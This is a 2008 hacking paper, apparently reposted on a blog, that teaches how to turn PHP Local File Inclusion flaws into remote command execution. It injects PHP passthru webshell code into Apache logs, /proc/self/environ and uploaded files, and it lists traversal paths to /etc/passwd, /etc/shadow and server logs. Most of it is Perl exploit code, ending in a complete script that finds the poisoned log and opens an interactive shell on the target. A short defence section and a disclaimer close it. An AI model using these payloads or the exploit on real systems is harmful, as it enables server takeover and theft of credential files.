LFI to RCE Exploit with Perl Script

|=——————————————————————–=|
|=————-=[ LFI to RCE Exploit with Perl Script ]=————–=|
|=————————=[ 7 December 2008 ]=———————–=|
|=———————-=[  By CWH Underground  ]=——————–=|
|=——————————————————————–=|

######
Info
######

Title    : LFI to RCE Exploit with Perl Script
Author    : ZeQ3uL && JabAv0C
Team    : CWH Underground [www.milw0rm.com/author/1456]
Website    : cwh.citec.us / http://www.citec.us
Date    : 2008-12-07

##########
Contents
##########

[0x00] – Introduction

[0x01] – File Inclusion (RFI/LFI)

[0x01a] – How the attack works for Remote File Inclusion [RFI]
[0x01b] – How the attack works for Local File Inclusion [LFI]
[0x01c] – Vulnerable PHP Function for File Inclusion

[0x02] – Local File Inclusion To Remote Command Execution [LFI <> RCE]

[0x02a] – LFI <> RCE via Apache Log Injection
[0x02b] – LFI <> RCE via Process Environ Injection
[0x02c] – LFI <> RCE via Other Files

[0x03] – Fundamental of Perl Library for Exploit Website

[0x03a] – Introduction to Socket
[0x03b] – Introduction to Library for WWW in Perl (LWP)
[0x03c] – Condition to use Socket or LWP

[0x04] – Writing LFI <> RCE Exploit with Perl Script

[0x04a] – Perl Exploit to Injecting code into Target
[0x04b] – Perl Exploit to Executing injected code on Target
[0x04c] – LFI <> RCE Complete Exploit [Use Logfile Injection]

[0x05] – How to protect File Inclusion

[0x06] – References

[0x07] – Greetz To

#######################
[0x00] – Introduction
#######################

Welcome reader, this paper is a short attempt at documenting a practical technique
we have been working on. This papers will guide about technique that allows the attackers
(us) gaining access into the process of exploiting a website via File Inclusion (RFI/LFI)
and enlight the way to create own exploit script with perl

This paper is divided into 7 sections but only from section 0x01 to 0x05
are about technical information.

Section 0x01, we talk about general concept of attacking via File Inclusion.
Section 0x02, we give a detail of how to execute arbitrary command via Local File Inclusion
in each approach. Section 0x03, we offer rudimentary commands to create HTTP transaction
with perl and some examples of how to use them. Section 0x04, we assemble knowleadge from
Section 0x01 to 0x03 in order to create own exploit to execute command on target system
via Local File Inclusion. The last, section 0x05, we suggest some methods to protect
your system from File Inclusion Attacking.

###################################
[0x01] – File Inclusion (RFI/LFI)
###################################

In a File Inclusion, Attackers run their own code on a vulnerable website.
The attack involves importing code into a program by taking advantage of the unenforced
and unchecked assumptions the program makes about its inputs. If the attacker can include
their own malicious code on a web page, it is possible to “convince” a PHP script to include
a remote file instead of a presumably trusted file from the local file system.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01a] – How the attack works for Remote File Inclusion [RFI]
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Remote File Inclusion, known as RFI, is the technique to attack website by
injecting php script into target website. It’s including “External” files (PHP Shell)
in a victim website.If attacker exploits successfully, he can execute arbitary command
on victim web server.

For instance, a piece of vulnerable PHP code would look like this:

———————————————————————————-
<?php
$file =$_GET['page'];                //The page we wish to display
include($file .".php");                <– Vulnerable !!
?>
[End code]———————————————————————————

From Code, It does not perform any checks on the content of the $page variable so it is easy
to putting our file (PHP Shell) into webpage like this

[URL] http://www.hackme.com/index.php?page=http://www.cwh.org/c99.php? and then

———————————————————————————
<?php
$file =”http://www.cwh.org/c99.php?&#8221;;        //$_GET['page'];
include($file .”.php”);                //include http://www.cwh.org/C99.php?.php
?>
[End code]———————————————————————————

** We put “?” at the end of the URL, This makes the script fetch the intended file,
with the appended string as a parameter (which is ignored by the attackers script) **

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01b] – How the attack works for Local File Inclusion [LFI]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

LFI is a Local File Inclusion. It originates from including “internal” files
in a victim website. In many situations, It is necessary to include content from
local file. But if you use it carelessly, it may lead to LFI vulnerabilty. This method
is often used in Linux to get “/etc/passwd” and sometimes “/etc/shadow”.

For instance, a piece of vulnerable PHP code would look like this:

[URL] http://www.hackme.com/index.php?template=cwh

——————————————————————————-
<?php
$template =$_GET['template'];
include("/".$template .".php");            <– Vulnerable !!
?>
[End code]——————————————————————————

From Code, Attacker can assign template to be "../../../../etc/passwd%00".
It causes the attacker to read a content from /etc/passwd.

[URL] http://www.hackme.com/index.php?template=../../../../etc/passwd%00

——————————————————————————-
<?php
$template =$_GET['template'];
include(“/../../../../etc/passwd%00.php”);    <– Directory Traversal to LFI
?>
[End code]——————————————————————————

** Notice %00 (Null CHAR) will ignore everything that comes after %00 (.php suffix) **
** Notice ../../../ will traversal path to root and goto /etc/passwd **

——————————————————————————-
if(grado($HTTP_COOKIE_VARS['cwh_user'],$HTTP_COOKIE_VARS['cwh_pass']) == "admin")
{
topmenu();
include("manage/admin/main.php");
foot();
} else
{
topmenu();
include("manage/".$HTTP_COOKIE_VARS['cwh_user']."/main.php");
foot();
}
[End code]——————————————————————————

From Code, Attacker can exploit via JaSiLDBG
(Javascript Inline Debugger – http://www.milw0rm.com/papers/147)

PoC Exploit: javascript:document.cookie = "cwh_user=../../../../etc/passwd%00; path=/";

++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x01c] – Vulnerable PHP Function for File Inclusion
++++++++++++++++++++++++++++++++++++++++++++++++++++++

File Inclusion (RFI/LFI) mostly occurs from some functions that developers
do not properly check user supplied data.

Example PHP function:

include()
include_once()
require()
require_once()
fopen()

#######################################################################
[0x02] – Local File Inclusion To Remote Command Execution [LFI<>RCE]
#######################################################################

In this section, we mention about the concept of using LFI in another way besides reading files.
Normally, We use LFI to read following files:

/etc/passwd
/etc/shadow
/etc/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
or
Dababase Configuration (config.inc.php)

But we can apply LFI Vulnerabilities to execute command by injecting malicious code
into Apache log, Process Environment and Other files. This method is called "Remote Code Execution (RCE)"

+++++++++++++++++++++++++++++++++++++
[0x02a] – LFI <> RCE via Apache Log
+++++++++++++++++++++++++++++++++++++

The Malicious HTTP Request must existed to Apache logs, By their intrinsic nature logfiles contain
data that is driven by users look like this:

[HTTP Request via Telnet]—————————————————————
>telnet http://www.hackme.com 80
GET /index.php?p=new.php HTTP/1.1                <– Normally GET Request when user visit websites

HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……
………
[End Telnet]—————————————————————————-

[Logfiles - access.log]—————————————————————–
……
58.18.29.152 – – [05/Dec/2008:12:13:22 +0700]
"GET /index.php?p=new.php HTTP/1.1" 200 1958
……
[End log]——————————————————————————-

If we want to run arbitrary command on target system, we must inject PHP code via
HTTP request like <?passthru($_GET[cmd])?> After that logfiles will contain Malicious Code

[Malicious HTTP Request via Telnet]—————————————————–
>telnet http://www.hackme.com 80
GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1            <– Malicious HTTP Request via Telnet

………
………
[End telnet]—————————————————————————-

[Logfiles - access.log]—————————————————————–
……
58.18.29.152 – – [05/Dec/2008:12:14:22 +0700]
"GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958        <– Inject Code into Logfiles
……
[End log]——————————————————————————-

Now We can use LFI Vuln to run arbitrary command by finding out where the logs are stored
Go to LFI Vuln path:

[URL] http://www.hackme.com/index.php?p=../../apache/logs/access.log    <– You must find Log location
(You can see ../../ that traversal to apache access log)

In webpage, you will see detailed like this:

Warning: passthru() [function.passthru]: Cannot execute a blank command in
/opt/lampp/apache/logs/access.log  on line 457

That’s Great !! We have alredy injected code to logfiles, Now run arbitrary command
with "cmd" variable like this:

[LFI <> RCE URL] http://www.hackme.com/index.php?p=../../apache/logs/access.log%00&cmd=ls -la

** Notice **

If you send Malicious HTTP Request from browser
"www.hackme.com/cwh/<? passthru($_GET[cmd]) ?>", the logfile will show in URL encode format

[Logfiles - access.log]—————————————————————–
……
58.18.29.152 – – [05/Dec/2008:12:15:14 +0700]
"GET /cwh/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 200 1958    <– Not work for Inject
……
[End log]——————————————————————————-

It won’t work for RCE because browser will automatically encode special characters
(URL encode) after that it writes encoded request into logfiles (access.log).
So we must Inject malicious code via Telnet, Netcat or Perl script with
socket/useragent/referer that we will guide in next chapter.

== How about error.log ==

Error log is written when the requested file does not exist. Thus we can inject
malicious code by requesting to non-existed file or inject via "Referer".

[Malicious HTTP Request via Telnet]—————————————————–
>telnet http://www.hackme.com 80
GET /<? passthru($_GET[cmd]) ?>        <– Get non-existed file with PHP Code

………
………
[End telnet]—————————————————————————-

[Logfiles - error.log]——————————————————————
……
[Sat Dec 06 15:12:56 2008] [error] [client 127.0.0.1] (20024)The given path
misformatted or contained invalid characters: Cannot map GET /<?passthru($_GET[cmd])?> to file
……
[End log]——————————————————————————-

Bingo !! We can injected code thru error.log, Next example show you about inject code
into "referer".

[Logfiles - error.log]——————————————————————
……
[Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
referer: http://www.hackme.com/index.php?p=main.php    <– Normally HTTP Request
……
[End log]——————————————————————————-

From log, Attacker can inject malicious code into "referer" then error.log will be written
evil code. However injecting to access.log is easier than error.log

[Logfiles - error.log]——————————————————————
……
[Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
referer: <? passthru($_GET[cmd]) ?>            <– Inject Malicious Code in Referer
……
[End log]——————————————————————————-

Default Log locations list that used with LFI:

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

++++++++++++++++++++++++++++++++++++++++++
[0x02b] – LFI <> RCE via Process Environ
++++++++++++++++++++++++++++++++++++++++++

When we request to PHP page, new process will be created. In *nix system, Each process
has its own /proc entry. /proc/self/ is a static path and symbolic link from lastest process
used that contain useful information. If we inject malicious code into /proc/self/environ, we
can run arbitrary command from target via LFI

[The Question] How to inject code into /proc/self/environ ?
[The Answer]   We can inject thru User-Agent.

In Firefox Browser, we use "User Agent Switcher Add-ons" that can specify your user agent
manually Or use perl script to specify user agent with malicious code (See Next chapter).

For instance, a piece of /proc/self/environ would look like this:

———————————————————————————-
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@hackme.com

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300        <– It contains User-agent

[End code]——————————————————————————

When we injected <?passthru($_GET[cmd])?> into our User Agent,
/proc/self/environ will contain Malicious code like this:

———————————————————————————-
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
SERVER_ADMIN=root@hackme.com

<?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300            <– Injected Malicious code

[End code]——————————————————————————

Then Go to http://www.hackme.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la

** Notice **

We don’t recommend to use this method because It’s immediately to inject code and run
command before self link change to other process.

++++++++++++++++++++++++++++++++++++++
[0x02c] – LFI <> RCE via Other Files
++++++++++++++++++++++++++++++++++++++

We saw Vulnerabilities in old version of FCKEditor (www.milw0rm.com/exploits/1484)
that allow many file extension to be uploaded, Some versions we can upload an extension not specified in FCKEditor
Config[DeniedExtensions][File] array such as .php3,.aa,.bb,.cwh,.blahblahblah. If the website have vulnerability
in Local File Inclusion, we can inject malicious code (<?passthru($_GET[cmd])?>) into uploaded file and use LFI
traversal with uploaded file links (/userfiles/upload/shell.cwh) to run arbitrary command.

For example:

[LFI Vulnerable] http://www.hackme.com/index.php?p=
[Uploaded File]  http://www.hackme.com/userfiles/upload/shell.cwh
[LFI <> RCE]     http://www.hackme.com/index.php?p=./userfiles/upload/shell.cwh%00&cmd=ls -la

Many website in the world allow to upload image file (jpg/gif/bmp/…) almost websites only check file extension
(.jpg/.gif/…) so it’s vuln !!. If Attacker inject malicious code into image file (Maybe use edjpgcom to insert PHP code
to jpeg file or change extension to image file manually) and upload to target server, Use LFI technique traversal to
uploaded file and execution arbitrary command.

** We will guide you about specify file extension with Perl in Next chapter **

##########################################################
[0x03] – Fundamental of Perl Library for Exploit Website
##########################################################

In this section, we will talk about fundamental of neccessary perl commands used to send HTTP packet to server.
They play a significant role in writing exploit. We recommend you to read this section before step to next section.
But if you are familiar with Socket and LWP, you can skip this section. All commands mentioned in this section will be
used in next section.

++++++++++++++++++++++++++++++++++
[0x03a] – Introduction to Socket
++++++++++++++++++++++++++++++++++

Socket is method to create a connection between hosts. we use it to create a connection between our pc
and a remote server in order to send manipulated request to a server. The informations that we have to provide for
a socket are protocol, server address, server port and data. In perl, we use IO::Socket library to create a socket.

Syntax for create a socket is following.

———————————————————————————-
$socket = IO::Socket::INET->new (PROTOCAL, PEERADDR, PEERPORT);
[End code]——————————————————————————

For Example: If we want to create socket to port 80 on server ip 192.168.0.111 with tcp protocol,
we can use following command:

———————————————————————————-
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
[End code]——————————————————————————

when we want to send http request through this socket, we can use this syntax.

———————————————————————————-
print $socket $data;
[End code]——————————————————————————

For Example:

———————————————————————————-
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
print $socket "GET /index.php HTTP/1.1\r\n";
print $socket "Host: 192.168.0.111\r\n";
print $socket "Connection: close\r\n\r\n";
[End code]——————————————————————————

After finish using socket, we have to close the socket by this syntax.

———————————————————————————-
close ($socket);
[End code]——————————————————————————

Finally, we can group the entire code together.

———————————————————————————-
use IO::Socket;
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
print $socket "GET /index.php HTTP/1.1\r\n";
print $socket "Host: 192.168.0.111\r\n";
print $socket "Connection: close\r\n\r\n";
close ($socket);
[End code]——————————————————————————

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x03b] – Introduction to Library for WWW in Perl (LWP)
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

LWP is a set of perl module designed to handle sending of http request. Usually we use this library
simultaneously with HTTP::Request and HTTP::Response.

If we speak clearly, we can classify a role of these library as following:

- HTTP::Request  => used to manipulate http request.
– LWP::UserAgent => used to sent http request.
– HTTP::Response => used to handle http response.

If we want to use these libraries to obtain content from index.php file on 192.168.0.111,
we can following these steps.

1: Create http request header using HTTP::Request

———————————————————————————-
$request = HTTP::Request->new (GET => “http://192.168.0.111/index.php&#8221;);
$request->header (User_Agent => “Mozilla 2.0″);
[End code]——————————————————————————

2: Send the http request to server by LWP::UserAgent and obtain http response by HTTP::Response

———————————————————————————-
$ua = LWP::UserAgent->new();
$response = $ua->request ($request);    ## Return value of request function is HTTP::Response object.
## So now we have $response holding HTTP::Response object
[End code]——————————————————————————

3: Get http response content from HTTP::Response object, Ex:

———————————————————————————-
print $response->code;            ## response code ex. 200, 404, 503
print $response->header->as_string;    ## response header
print $response->content;        ## html code of http response
[End code]——————————————————————————

If we group all code together to show header and content of http transaction, we can do following:

———————————————————————————-
use LWP;
use HTTP::Request;

$request = HTTP::Request->new (GET => "http://192.168.0.111/index.php&quot;);
$request->header (User_Agent => "Mozilla 2.0");

$ua = LWP::UserAgent->new();
$response = $ua->request ($request);

print $response->header->as_string;     ## $response->header is an object of HTTP::Header. It cannot to print as string,
## so we use as_string method to solve this problem
print "\n";
print $response->content;
[End code]——————————————————————————

++++++++++++++++++++++++++++++++++++++++++
[0x03c] – Condition to use Socket or LWP
++++++++++++++++++++++++++++++++++++++++++

As you can see above, Socket and LWP can send http request to server.
But we have only a few conditions to dicide to use Socket or LWP.

1: We will use Socket when,

- We do not want http response. (Only inject http request packet to server)
– We do not want http request to be encoded. (If we send get method with LWP, the HTTP request will be URL Encoded)

2: We will use LWP when,

- We want http response. (It will be stored in HTTP::Response object)
– Other condition ;D (We think it is more convenient to us than Socket)

######################################################
[0x04] – Writing LFI <> RCE Exploit with Perl Script
######################################################

++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x04a] – Perl Exploit to Injecting code into Target
++++++++++++++++++++++++++++++++++++++++++++++++++++++

We can inject our php code to server in many ways as I mention above. The rest that we have to work
with is creating perl script to do our task.
To create perl script to send malicious request, we will use socket to help this part.
Before writing perl script, we have to know which file we will inject code into and how to do that.

[+] Inject via logfile

Logfiles are written when there is a request to a file on server. Thus we can manipulate
http request in order to inject malicious code.

Example:

———————————————————————————-
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″);
print $socket “GET /cwhunderground <? passthru(\$_GET[cmd]); ?> HTTP/1.1\r\n”;
print $socket “host: 192.168.0.111\r\n”;
print $socket “Connection: close\r\n\r\n”;
close ($socket);
[End code]——————————————————————————

[+] Inject via Other files

In some websites, they allow us to upload files. If we know the path to uploaded file,
we can use LFI vulnerability to execute command in our uploaded file.

Example:

———————————————————————————-
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
print $socket "POST /uploadsave.php HTTP/1.1\r\n";
print $socket "host: 192.168.0.111\r\n";
print $socket "Content-Type: multipart/form-data; boundary=CwHCwH\r\n";
print $socket "–CwHCwH\r\n";
print $socket "Content-Disposition: form-data; name=\"shell.cwh\"; filename=\"shell.cwh\"\r\n";
print $socket "Content-Type: application/zip\r\n\r\n";
print $socket "<? passthru(\$_GET[cmd]); ?>\n";
print $socket "–CwHCwH\r\n";
close ($socket);
[End code]——————————————————————————

[+] Inject via process environment

In process environment file, there is user agent of using browser as a part of content.
Therefore we can inject malicious code by spoofing user agent.

Example:

———————————————————————————-
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″);
print $socket “GET /index.php HTTP/1.1\r\n”;
print $socket “host: 192.168.0.111\r\n”;
print $socket “User-Agent: <? passthru(\$_GET[cmd]); ?>\r\n”;
print $socket “Connection: close\r\n\r\n”;
close ($socket);
[End code]——————————————————————————

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x04b] – Perl Exploit to Executing injected code on Target
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

As previous section, we can inject malicious code into some files on server by example code.
In this section, we will show how to create script to execute our code on server. So, we have to bring
the concept from section 0x03b about LWP library.
(We choose to use LWP because we need http response to show result from execution of our code)

[+] Execute code from logfile

———————————————————————————-
use LWP;
use HTTP::Request;

$logfile = "../../../../var/log/httpd/access.log";        <– We must specify Logfile locations

## looping for execute command and exit program when command = exit ##
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
while($cmd !~ "exit")
{
$content = "";
$request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=&quot;.$logfile."%00&cmd=".$cmd);
$ua = LWP::UserAgent->new();
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
}
[End code]——————————————————————————

[+] Execute code from Other files

I assume that the uploaded file is ../../../path/to/uploaded/file/shell.cwh .
We will get RCE script like this.

———————————————————————————-
use LWP;
use HTTP::Request;

$uploadedfile = “../../../path/to/uploaded/file/shell.cwh”;

## looping for execute command and exit program when command = exit ###
print “cwh-shell# “;
chomp( $cmd = <STDIN> );
while($cmd !~ “exit”)
{
$content = “”;
$request = HTTP::Request->new (GET => “http://192.168.0.111/path/to/lfi.php?file=&#8221;.$uploadedfile.”%00&cmd=”.$cmd);
$ua = LWP::UserAgent->new();
$response = $ua->request ($request);
$content = $response->content;
print $content.”\n”;
print “cwh-shell# “;
chomp( $cmd = <STDIN> );
}
[End code]——————————————————————————

[+] Execute code from process environment

The injected process environment file is /proc/self/environ.
So, we have to traversal back to root path by using ../../

———————————————————————————-
use LWP;
use HTTP::Request;

$procenviron = "../../../../../../proc/self/environ";

## looping for execute command and exit program when command = exit ##
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
while($cmd !~ "exit")
{
$content = "";
$request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=&quot;.$procenviron."%00&cmd=".$cmd);
$ua = LWP::UserAgent->new();
$response = $ua->request ($request);
$content = $response->content;
print $content."\n";
print "cwh-shell# ";
chomp( $cmd = <STDIN> );
}
[End code]——————————————————————————

Finally, as you can see from three codes above, the code to loop for execute command is the same.
The difference is how to find a path of injected file.

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[0x04c] – LFI <> RCE Complete Exploit [Use Logfile Injection]
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

In order to execute code from logfile, we have a problem that we do not know the exact path of logfile.
So we have to find path by looping through the fesible paths that we have and see which file contain
the word "cwhunderground" as we inject in previous example code.

Simple Code for LFI <> RCE Exploit:

———————————————————————————-
use LWP::UserAgent;
use IO::Socket;
use LWP::Simple;

$log=”../”;
@apache=(
“../../../../../var/log/httpd/access_log”,
“../apache/logs/access.log”,
“../../apache/logs/access.log”,
“../../../apache/logs/access.log”,
“../../../../apache/logs/access.log”,
“../../../../../apache/logs/access.log”,
“../logs/access.log”,
“../../logs/access.log”,
“../../../logs/access.log”,
“../../../../logs/access.log”,
“../../../../../logs/access.log”,
“../../../../../etc/httpd/logs/access_log”,
“../../../../../etc/httpd/logs/access.log”,
“../../.. /../../var/www/logs/access_log”,
“../../../../../var/www/logs/access.log”,
“../../../../../usr/local/apache/logs/access_log”,
“../../../../../usr/local/apache/logs/access.log”,
“../../../../../var/log/apache/access_log”,
“../../../../../var/log/apache/access.log”,
“../../../../../var/log/access_log”,
“../../../../../var/log/access_log”
);

my $sis=”$^O”;if ($sis eq ‘MSWin32′) { system(“cls”); } else { system(“clear”); }

print “\n==========================================\n”;
print ”           LFI to RCE Exploit \n”;
print ”           By CWH Underground \n”;
print “==========================================\n”;

if (@ARGV < 2)
{
print “Usage: ./xpl.pl <Host> <Path>\n”;
print “Ex. ./xpl.pl http://www.hackme.com /ktp/index.php?page=\n”;
}

$host=$ARGV[0];
$path=$ARGV[1];

if ( $host   =~   /^http:/ ) {$host =~ s/http:\/\///g;}

print “\nTrying to Inject the Code…\n”;
$CODE=”<?php if(get_magic_quotes_gpc()){ \$_GET[cmd]=stripslashes(\$_GET[cmd]);} passthru(\$_GET[cmd]);?>”;
$socket = IO::Socket::INET->new(Proto=>”tcp”, PeerAddr=>”$host”, PeerPort=>”80″) or die “Could not connect to host.\n\n”;
print $socket “GET /cwhunderground “.”\#\#%\$\$%\#\#”.$CODE.”\#\#%\$\$%\#\#”.” HTTP/1.1\r\n”;
print $socket “Host: “.$host.”\r\n”;
print $socket “Connection: close\r\n\r\n”;
close($socket);

if ( $host   !~   /^http:/ ) {$host = “http://&#8221; . $host;}

foreach $getlog(@apache)
{
chomp($getlog);
$find= $host.$path.$getlog.”%00″;
$xpl = LWP::UserAgent->new() or die “Could not initialize browser\n”;
$req = HTTP::Request->new(GET => $find);
$res = $xpl->request($req);
$info = $res->content;
if($info =~ /cwhunderground/)
{print “\nSuccessfully injected in $getlog \n”;$log=$getlog;}
}

print “cwh-shell# “;
chomp( $cmd = <STDIN> );

while($cmd !~ “exit”) {
$shell= $host.$path.$log.”%00&cmd=$cmd”;
$xpl = LWP::UserAgent->new() or die “Could not initialize browser\n”;
$req = HTTP::Request->new(GET => $shell);
$res = $xpl->request($req);
$info = $res->content;
if ($info =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg)
{print $1;}
print “cwh-shell# “;
chomp( $cmd = <STDIN> );
}
[End code]——————————————————————————

########################################
[0x05] – How to protect File Inclusion
########################################

- Consider implementing a chroot jail
– Check user supplied files or filenames
– Strongly validate user input, Ensure that all variables
are properly initialized prior to the first use
– Disable allow_url_fopen and allow_url_include
– Disable register_globals and use E_STRICT to find uninitialized variables
– Ensure that all file and stream functions (stream_*) are carefully vetted
– To avoid being injected with remote files, it is essential to specify exactly
where the file should be located, e.g. its full path
– Secure Code, If you want to use include() function, For example:

// Vulnerable Code !!

———————————————————————————-
<?php
$file =$_GET['page'];
include($file);
?>
[End code]——————————————————————————

// #1 Patching Code !!

———————————————————————————-
<?php
include “./new.php”;        <– Should not use file name from $_GET content,
?>                    Always specify your files to include
[End code]——————————————————————————

// #2 Patching Code !!

[/code]

———————————————————————————-
<?php
$file =$_GET['page'];
$check = array(‘index.php’, ‘new.php’, ‘guestbook.php’);
if(in_array($file, $check))        <– Check $_GET['page'] from array[]
{include($file);}
else{die(“Don’t Hack Me Plz!”);}
?>
[End code]——————————————————————————

#####################
[0x06] – References
#####################

[1] http://en.wikipedia.org/wiki/Remote_File_Inclusion
[2] http://cwe.mitre.org/data/definitions/98.html
[3] hakin9: Remote and File Inclusion Explained (Gordon Johnson)
[4] http://www.perl.com/pub/a/2002/08/20/perlandlwp.html
[5] http://www.owasp.org/index.php/PHP_Top_5
[6] http://www.milw0rm.com

####################
[0x07] – Greetz To
####################

Greetz        : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com

—————————————————-
This paper is written for Educational purpose only. The authors are not responsible for any damage
originating from using this paper in wrong objective. If you want to use this knowleadge with other person systems,
you must request for consent from system owner before
—————————————————-

# milw0rm.com [2008-12-08]

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1 Comment (+add yours?)

  1. Spoofing Http Referer
    Oct 25, 2009 @ 07:27:57

    Only Perl statements are considered to build programming logic. Spoofing Http Referer

    Reply

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